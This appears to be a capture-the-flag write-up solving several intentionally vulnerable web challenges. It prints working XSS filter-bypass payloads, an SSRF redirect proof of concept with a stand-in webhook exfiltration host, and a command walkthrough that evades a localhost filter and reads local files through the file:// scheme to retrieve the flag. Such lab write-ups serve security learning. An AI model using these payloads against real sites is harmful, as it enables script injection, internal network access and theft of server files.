We have this month some little challenges for the price of one.
<?php
function sanitizer($input) { // $ php -S localhost:1234
$allowed_tags = ["div", "span", "img", "input", "form", "a",
"style", "button"];
$allowed_attributes = ["name", "src", "class", "id", "type"];
preg_match_all("/<(\/?)(.*?)(\s|>)/i", $input, $tags);
foreach ($tags[2] as $tag) {
if (!in_array(strtolower($tag), $allowed_tags)) {
return "Blocked";
}
}
preg_match_all('/[\s\n\r\t]+([\w-]+)=\s*(["\'\`]|[^\s>]*)/i',
urldecode($input), $attrs);
foreach ($attrs[1] as $attr) {
if (!in_array(strtolower($attr), $allowed_attributes)) {
return "BLOCKED";
}
}
return $input;
}
// "?name=<style /onload=alert(origin)>"
echo "<div>Welcome back, " . sanitizer($_GET["name"]) . "!</div>";
?>
We use any allowed tag (like <style>
) and add a special character to succeed.
import express from "express";
import axios from "axios";
const app = express();
const port = 3000;
async function fetchWithPreflight(url: string): Promise<string> {
try {
// First do a preflight HEAD request
const res1 = await axios.head(url);
// Check if the content type matches our expected type
const contentType = res1.headers["content-type"];
if (["image/png", "image/jpg", "image/jpeg"].includes(contentType)) {
// If preflight passes, perform the actual GET request
const res = await axios.get(url, {
maxRedirects: 5, // Allow redirects
validateStasus: null // Accepts any status code
});
return res.data;
} else {
throw new Error(`Invalid content type: ${contentType}`);
}
} catch (error) {
console.error("Error fetching resource:", error);
throw error;
}
}
app.get("/api/image-loader", async (req, res) => {
const imgUrl = req.query.url as string;
if (!imgUrl) {
return res.status(400).send("URL parameter is required");
}
try {
const data = await fetchWithPreflight(imgUrl); // fetchImage()
res.send(data);
} catch (error) {
res.status(500).send(`Error: ${error.message}`);
}
});
app.listen(port, () => {
console.log(`Server running at http://localhost:${port}`);
});
We have a classic case of redirections where we can do pretty much whatever we want with few headers.
app.get("/poc", (req, res) => { // curl https://localhost:443/api/image-loader?url=https://evil.google.com/poc
res.setHeader("Content-Type", "image/png");
res.setHeader("Location", "http://localhost:8080/secret"); // "https://webhook.site"
res.status(302).end(); // res.send("<svg/onload=alert(document.location)>");
});
<html lang="en">
<head>
<meta charset="utf-8" />
<title>Unsubscribe <?php echo $_GET["email"] ?></title>
<meta http-equiv="content-security-policy" content="default-src 'none';" />
</head>
<body>
<h1>Are you sure you want to unsubscribe from our newsletter?</h1>
<span>Your email address is <b><?php echo $_GET["email"] ?></b>.</span>
</body>
</html><!-- ?email=</title><svg/onload=alert(origin)> -->
The vulnerability is as reflected XSS
caused by directly embedding untrusted $_GET["email"]
input in both the HTML <title>
element and the body
without sanitization or escaping.
We have a challenge where we can supposedly import any url
:
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Shoppix Fashion Importer</title>
<link href="https://fonts.googleapis.com/css2?family=Montserrat" rel="stylesheet">
<style>
body { /* In /var/www/html/challenge.php */
background: #0d0d0d;
}
</style>
</head>
<body>
<?php include "partials/header.php"; ?>
<div class="card">
<h1>Shoppix Importer</h1>
<h2>Your gateway to sustainable fashion</h2>
<p>
At <strong>Shoppix</strong>, we believe fashion should be stylish, affordable,
and sustainable. Our platform connects thousands of fashion lovers with
unique second-hand pieces, giving clothes a new life while reducing waste.
</p>
<p>
This importer allows our team to quickly fetch product images from partner
stores around the globe. Just enter a product image URL below and preview
the results instantly.
</p>
<form method="get">
<input type="text" name="url" placeholder="Enter image URL" />
<br>
<button type="submit">Fetch Resource</button>
</form>
<?php
if (isset($_GET['url'])) {
$url = $_GET['url'];
if (stripos($url, 'http') === false) {
die("<p style='color:#ff5252'>Invalid URL: must include 'http'</p>");
}
if (stripos($url, '127.0.0.1') !== false || stripos($url, 'localhost') !== false) {
die("<p style='color:#ff5252'>Invalid URL: access to localhost is not allowed</p>");
}
$ch = curl_init($url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$response = curl_exec($ch);
if ($response === false) {
echo "<p style='color:#ff5252'>cURL Error: " . curl_error($ch) . "</p>";
} else {
echo "<h3>Fetched content:</h3>";
echo "<pre>" . htmlspecialchars($response) . "</pre>";
}
curl_close($ch);
}
?>
</div>
<?php include "partials/footer.php"; ?>
</body>
</html>
<!-- In /var/www/html/index.php -->
<!DOCTYPE html>
<html lang="en">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
</head>
<body>
<section id="wrapper">
<section id="rules">
<div id="challenge-container" class="card-container">
<div class="card-header">
<img class="card-avatar" src="/public/creator.jpg" alt="creator">
</div>
<div id="challenge-info" class="card-content">
<p>Find the FLAG</p>
<b>Rules:</b>
<ul>
<li>This challenge runs from 06/10/2025 6:00 PM until 13/10/2025, 11:59 PM UTC.</li>
</ul>
<b>The solution:</b>
<ul>
<li>Should leverage a remote code execution vulnerability on the challenge page.</li>
<li>Shouldn't be self-XSS or related to MiTM attacks.</li>
<li>Should require no user interaction.</li>
<li>Should include:</li>
</ul>
<b>Test your payloads down below and <a href="/challenge.php">on the challenge page here</a>!</b>
<p>Let's pop that shell!</p>
</div>
</div>
<div class="card-container">
<iframe src="/challenge.php" width="100%" height="600px"></iframe>
</div>
</section>
</section>
</body>
</html>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Shoppix Upload</title>
<link href="https://fonts.googleapis.com/css2?family=Montserrat" rel="stylesheet">
<style>
body { /* In /var/www/html/upload_shoppix_images.php */
background: #0d0d0d;
}
</style>
</head>
<body>
<?php include "partials/header.php"; ?>
<div class="card">
<h1>Upload Your Design</h1>
<form method="post" enctype="multipart/form-data">
<input type="file" name="image" />
<br>
<button type="submit">Upload</button>
</form>
<?php
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
$file = $_FILES['image'];
$filename = $file['name'];
$tmp = $file['tmp_name'];
$mime = mime_content_type($tmp);
if (strpos($mime, "image/") === 0 && (stripos($filename, ".png") !== false || stripos($filename, ".jpg") !== false || stripos($filename, ".jpeg") !== false)) {
move_uploaded_file($tmp, "uploads/" . basename($filename));
echo "<p style='color:#00e676'>β
File uploaded successfully to /uploads/ directory!</p>";
} else {
echo "<p style='color:#ff5252'>β Invalid file format</p>";
}
}
?>
</div>
<?php include "partials/footer.php"; ?>
</body>
</html>
<div class="navbar">
<div class="logo">π Shoppix</div>
<div class="nav-links">
<a href="index.php">Home</a>
<a href="#">About</a>
<a href="#">Contact</a>
</div>
</div>
<style>
.navbar { /* In /var/www/html/partials/header.php */
display: flex;
}
</style>
<div class="footer">
<p>© <?php echo date("Y"); ?> Shoppix - Sustainable Fashion for Everyone π</p>
</div>
<style>
.footer { /* In /var/www/html/partials/footer.php */
text-align: center;
}
</style>
We try to gather as much information as possible in order to get a good overview.
local:~# wget "https://challenge-1025.domain.io/challenge.php?url=test"
Invalid URL: must include 'http'
local:~# wget "challenge.php?url=http_rickroll" # We also need to put the string `http` anywhere in our url
cURL Error: Could not resolve host: http_rickroll
local:~# wget "challenge.php?url=http://localhost" # https://daniel.haxx.se/blog/2022/12/14/idn-is-crazy
Invalid URL: access to localhost is not allowed
local:~# ping 127.1 # Some zeroes are optional in IP address
PING 127.1 (127.0.0.1): 56 data bytes
64 bytes from 127.0.0.1: seq=0 ttl=64 time=0.000 ms
local:~# wget "challenge.php?url=http://127.1" # Will default to the `index.php` file
<!DOCTYPE html>
<html lang="en">
<...>
local:~# wget "challenge.php?url=file:///?http" # Since we have access to local files, we now need to list them (with the `file://` scheme)
# https://everything.curl.dev/protocols/curl.html#file | https://ctftime.org/writeup/33757
lib64
srv
home
...
mnt
tmp
sys
proc
root
93e892fe-c0af-44a1-9308-5a58548abd98.txt
local:~# wget "challenge.php?url=file:///93e892fe-c0af-44a1-9308-5a58548abd98.txt?http"
FLAG{ngks896sdjvsjnv6383utbgn}
# BONUS TIME π
local:~# wget "challenge.php?url=file:///proc/self/cwd?http" # https://www.kernel.org/doc/html/latest/filesystems/proc.html
partials/..
public/..
uploads/..
challenge.php
index.php
upload_shoppix_images.php
local:~# wget "challenge.php?url=http://127.1/server-status"
# https://cloud.google.com/security-command-center/docs/concepts-container-threat-detection-overview#:~:text=/dev/shm
# https://github.com/ambionics/cnext-exploits#shell
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2 Final//EN">
<html><head>
<title>Apache Status</title>
</head><body>
<h1>Apache Server Status for 127.0.0.1 (via 127.0.0.1)</h1>
<dl><dt>Server Version: Apache/2.4.65 (Debian) PHP/8.1.33</dt>
<...>
<address>Apache/2.4.65 (Debian) Server at 127.0.0.1 Port 8080</address>
</body></html>
local:~# wget "challenge.php?url=http://10.14.7.x/"
# https://sourcegraph.com/search?q=context:global+reverse-proxies.md#nginx
# https://hackmd.io/@CaRZODiyRTmwgiK0D4Rf8A/rysUeBzHT#headers
<html>
<head><title>503 Service Temporarily Unavailable</title></head>
<body>
<center><h1>503 Service Temporarily Unavailable</h1></center>
<hr><center>nginx</center>
</body>
</html>
local:~# exit
And it's done.